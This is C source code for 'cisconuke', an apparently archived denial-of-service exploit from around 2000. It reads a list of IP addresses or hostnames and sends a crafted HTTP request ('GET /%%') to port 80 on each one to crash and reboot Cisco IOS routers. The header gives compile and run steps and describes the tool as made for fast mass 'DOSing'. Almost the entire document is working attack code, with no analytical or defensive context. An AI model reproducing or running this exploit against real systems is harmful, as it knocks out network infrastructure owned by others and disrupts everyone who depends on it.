/* - PRIVATE Do NOT distribute PRIVATE - Cisco IOS deficiency (web-server interface) allows an arbitrary router to be rebooted. 1. Create an IP address list (or hostnames). 2. gcc -o cisconuke cisconuke.c 3. ./cisconuke ip-address-list 4. If the target's a Cisco with open TCP/80, it goez b00m. We use a timeout because, in the event that a host resolves but is down, waiting for ETIMEDOUT would slow your DOSing down. Adjust if necessary (slow links etc). Comment out the VERBOSE #define if you don't want to see what's happening. */ #define VERBOSE #define TIMEOUT 10 #include #include #include #include #include #include #include #include #include #include #include #include sigjmp_buf env; u_long resolve_host(u_char *host) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host)) == -1) { host_ent = gethostbyname(host); if (!host_ent) return((u_long)0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void net_timeout(void) { alarm(0); siglongjmp(env, 1); } int nuke_cisco(u_long dst_ip) { struct sockaddr_in sin; u_char crash[] = "GET /\%\%\n\n"; int sock; alarm (0); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = dst_ip; if (sigsetjmp(env, 1)) { /* Timeout. */ close(sock); return(-1); } alarm(TIMEOUT); signal(SIGALRM, (void *)net_timeout); if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) { close(sock); return(-1); } alarm (0); if (write(sock, crash, strlen(crash)) != strlen(crash)) { close(sock); fprintf(stderr, "\nWarning: truncated write()\n"); return(-1); } close(sock); return(0); } int main(int argc, char **argv) { FILE *filez; struct in_addr addr; u_long dst_ip = 0; u_char host[255] = {0}; int nuked = 0, notnuked = 0; if (argc != 2) { fprintf(stderr, "\nusage:\t%s ip_list\n\n", argv[0]); exit(-1); } filez = fopen(argv[1], "r"); if (!filez) { fprintf(stderr, "Can't open IP address list file.\n"); exit(-1); } while (fgets(host, sizeof(host) - 1, filez) > 0) { host[strlen(host) - 1] = 0; host[strlen(host) ] = 0; dst_ip = resolve_host(host); if (dst_ip) { #ifdef VERBOSE addr.s_addr = dst_ip; fprintf(stderr, "Resolved host `%s`, killing.. ", inet_ntoa(addr)); #endif /* VERBOSE */ if (!nuke_cisco(dst_ip)) { #ifdef VERBOSE fprintf(stderr, "success.\n"); nuked++; #endif /* VERBOSE */ } else { #ifdef VERBOSE fprintf(stderr, "can't connect to TCP/80\n"); notnuked++; #endif /* VERBOSE */ } } else { #ifdef VERBOSE fprintf(stderr, "Can't resolve %s\n", host); notnuked++; #endif /* VERBOSE */ } memset(host, 0, sizeof(host)); } fprintf(stderr, "\nCompleted run:\n" "Obtained a successful connection and sent crash: %d hosts.\n" "No connection to port 80 or cannot resolve: %d hosts.\n\n", nuked, notnuked); exit(0); } /* www.hack.co.za [19 May 2000]*/